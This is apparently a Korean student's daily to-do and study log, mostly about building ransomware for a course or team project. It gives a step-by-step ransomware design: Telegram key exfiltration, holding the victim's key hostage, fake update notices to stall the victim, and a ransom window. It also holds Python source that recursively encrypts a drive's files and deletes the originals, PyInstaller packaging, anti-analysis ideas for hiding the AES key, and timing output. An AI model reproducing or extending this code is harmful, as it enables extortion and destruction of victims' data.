오늘 할일
1. 사상의학 중간고사 대체 레포트 작성
2. 랜섬웨어 명세단계 따라서 마저 제작 및 지난주차 내용 공부, 적용
3. 드림핵 한단계씩만 풀어보쟈~~
4. 이음 CSS디자인 개편 및 실제 런칭준비
5. 전위 후위 어셈블리 비교 보고서 작성
6. 활성화함수에서의 학습여부
7. 성남시 이노베이션 아카데미 Project-X 면접
8. 페이로드 회의
9. 텃밭 프로젝트 뒷정리 및 수제 샴푸비누 만들기
10. 랜섬웨어 5주차 보고서 작성
오늘 한일
9. 텃밭 프로젝트 뒷정리 및 수제 샴푸비누 만들기
7. 성남시 이노베이션 아카데미 Project-X 면접
내일 오전중으로 결과 문자통지예정
2. 랜섬웨어 명세단계 따라서 마저 제작 및 지난주차 내용 공부, 적용
우선 아래는 랜섬웨어 개발의 명세이다
1. 서버 프로그램은 개인키와 공개키를 생성하고 대상자의 이메일을 이용하여 클라이언트 프로그램을 전송, 접속을 대기한다.
2. 클라이언트 프로그램은 실행 시 개인키와 공개키, 대칭키전용키를 생성한다.
3. 클라이언트 프로그램에서 생성한 대칭키를 공개키 암호화 한다. (서버의 공개키는 내장되어있다)
4. 클라이언트 프로그램에서 공개키와 암호화된 대칭키 파일을 서버에 전송한다. (텔레그램)
5. 서버 프로그램에서 해당 대칭키를 복호화하여 저장해둔다(핵심 인질)
6. 암호화를 진행시킨다. 암호화 진행이 끊기지 않게 업데이트 등과 같은 이유로 시간을 끈다.
7. 암호화가 완료되면 클라이언트 컴퓨터에서 랜섬웨어 감염사실을 통지한다. 해독을 위한 키값 입력창도 생성한다.
8. 클라이언트가 해커의 요구를 수행하면, 텔레그램을 이용하여 대칭키를 전달한다.(텔레그램)
9. 클라이언트는 전달받은 대칭키로 복호화를 수행한다.
5번 명세_ 진행완료
지난 논리오류 수정 후 확인완료.
6번 명세_ 진행완료
코드 옮긴 후 페이크 알림 추가완료
8. 페이로드 회의
이번주 중으로 모임해서 코드 공유, 멀티스레딩, 보호기법 논의.
질문 1. 키 생성 시점
서버의 공개키, 개인키 / 클라이언트의 공개키, 개인키 의 생성시점?
지금 구현한 것 상으로는 서버&클라이언트 1:n관계 여서 하나의 서버에 종속된 클라이언트 여러개가 생성 가능하고
n:m이 아닌 1:n관계기 때문에, 서버의 프로그램(키)를 새로 만들면 이전에 종속된 클라이언트의 복호화가 불가능하다. 가능하게 할 순 있는데(그냥 키를 저장하면 되니까) 대신 그런 상황을 코드에 적용하진 않았다.
의견1. 클라이언트 프로그램을 두개로 쪼개자
하나로 복호화를 수행하고 다 끝난다음에 리버싱을 통한 복구가 불가능하게
키값을 입력받아 복호화하는 전용 프로그램만을 남기고 기존 프로그램은 컴퓨터에서 제거
의견2. AES키가 메모리에 올라와있으면 그 값이 유출될 수 있지 않냐
AES키가 있는 공간을 메인 프로세스가 아니라 별도의 키 전용 프로세스를 만들어서 메인 프로세스를 분석해도 알아낼 수 없고 약간의 혼란 가중. 프로세스 공유공간 혹은 스레드 공유공간
10. 랜섬웨어 5주차 보고서 작성
속도 측정 테스트(500MB파일)
실험조건: 500MB의 mp4파일 3개, 간단한 txt파일이 각 폴더마다 들어있는 구조의 디렉토리(깊이 3) 총 크기: 1.46GB
시간이 오래걸리는 텔레그램 전송 메서드, sleep메서드 제외
print('[DEBUG] 암호화 시작')
start=time.time()
recursiveEncrypt(drive)#암호화 수행
end=time.time()
print("[DEBUG] 암호화 완료_ 암호화 시간", end-start,' seconds')
print('[DEBUG] 복호화 시작')
start=time.time()
recursiveDecrypt(drive)#암호화 수행
end=time.time()
print("[DEBUG] 복호화 완료_ 암호화 시간", end-start,' seconds')
1. 일반 실행 결과: 8.76초
[DEBUG] 암호화 시작
[DEBUG] 암호화 완료_ 암호화 시간 4.511504411697388 seconds
[DEBUG] 복호화 시작
[DEBUG] 복호화 완료_ 암호화 시간 4.24846076965332 seconds
2. (절대경로)PyInstaller를 이용한 .exe실행 결과: 9.76초
$ python -m PyInstaller --hidden-import=_cffi_backend --onefile Client.py
[DEBUG] ▒▒ȣȭ ▒▒▒▒
[DEBUG] ▒▒ȣȭ ▒Ϸ▒_ ▒▒ȣȭ ▒ð▒ 5.3641369342803955 seconds
[DEBUG] ▒▒ȣȭ ▒▒▒▒
[DEBUG] ▒▒ȣȭ ▒Ϸ▒_ ▒▒ȣȭ ▒ð▒ 4.3910462856292725 seconds
3. 디렉토리 별로 멀티스레딩 적용: 9.2
recursiveEncrypt 함수내부 스레딩처리
if (len(files)>0):
th=Thread(target=EnDecryptor(files, EncryptModule).encryptFile())
ThreadPool.append(th)
th.start()
#EnDecryptor(files, EncryptModule).encryptFile()
for dir in dirs:
recursiveEncrypt(dir)
main에서 join코드 추가
print('[DEBUG] 암호화 시작')
start=time.time()
recursiveEncrypt(drive)#암호화 수행
end=time.time()
while (len(ThreadPool)!=0):
th=ThreadPool.pop()
th.join()
print("[DEBUG] join")
print("[DEBUG] 암호화 완료_ 암호화 시간", end-start,' seconds')
print('[DEBUG] 복호화 시작')
start=time.time()
recursiveDecrypt(drive)#암호화 수행
while (len(ThreadPool)!=0):
th=ThreadPool.pop()
th.join()
print("[DEBUG] join")
end=time.time()
print("[DEBUG] 복호화 완료_ 암호화 시간", end-start,' seconds')
결과
[DEBUG] 암호화 시작
[DEBUG] join
[DEBUG] join
[DEBUG] join
[DEBUG] 암호화 완료_ 암호화 시간 4.654924392700195 seconds
[DEBUG] 복호화 시작
[DEBUG] join
[DEBUG] join
[DEBUG] join
[DEBUG] 복호화 완료_ 암호화 시간 4.5484466552734375 seconds
4. 파일 크기가 50MB이상이면 멀티스레딩 적용: 10초
EnDecryptor코드 수정
lass EnDecryptor:
def __init__(self, files=0, encryptModule=0):
self._files=files
self._encryptModule=encryptModule
def encEach(self, path):
with open(path, "rb") as File:
data=File.read()
encryptedFile=self._encryptModule.encrypt(data)
with open(f"{path}.LoL", "wb") as File:
File.write(encryptedFile)
os.remove(path)
def decEach(self, path):
originName=path.strip(".LoL")
with open(path, "rb") as File:
data=File.read()
decryptedFile=self._encryptModule.decrypt(data)
with open(originName, "wb") as File:
File.write(decryptedFile)
os.remove(path)
def encryptFile(self):
try:
for file in self._files:
if(os.path.isfile(file)==True):
if(file==sys.argv[0]):
return
if(os.path.getsize(file)>50000000):
print('앙')
th=Thread(target=self.encEach(file))
ThreadPool.append(th)
th.start()
else :
self.encEach(file)
except Exception as e:
print(f"[DEBUG] Error on EnDecrypt.encryptFile(): {e}")
def decryptFile(self):
try:
for file in self._files:
if(os.path.isfile(file)==True):
if(file==sys.argv[0]):
return
if(os.path.getsize(file)>50000000):
print('앙')
th=Thread(target=self.decEach(file))
ThreadPool.append(th)
th.start()
else :
self.decEach(file)
except Exception as e:
print(f"[DEBUG] Error on EnDecrypt.decryptFile(): {e}")
결과
[DEBUG] 암호화 시작
앙
앙
앙
[DEBUG] join
[DEBUG] join
[DEBUG] join
[DEBUG] 암호화 완료_ 암호화 시간 5.203731060028076 seconds
[DEBUG] 복호화 시작
앙
앙
앙
[DEBUG] join
[DEBUG] join
[DEBUG] join
[DEBUG] 복호화 완료_ 암호화 시간 4.787460565567017 seconds
결론: 생각보다 결과가 더 오래걸려서... join방식에 차이점을 둬보거나 다른 멀티스레딩 모듈을 적용하거나 보다 큰 크기의 파일의 시간을 확인해봐야 할 듯 하다.
참고
https://monkey3199.github.io/develop/python/2018/12/04/python-pararrel.html
내일 할일
1. 사상의학 중간고사 대체 레포트 작성
2. 랜섬웨어 명세단계 따라서 마저 제작 및 지난주차 내용 공부, 적용
3. 드림핵 한단계씩만 풀어보쟈~~
4. 이음 CSS디자인 개편 및 실제 런칭준비
5. 전위 후위 어셈블리 비교 보고서 작성
6. 활성화함수에서의 학습여부
7. 랜섬웨어 5주차 보고서 작성
8. 현장실습 신청서 작성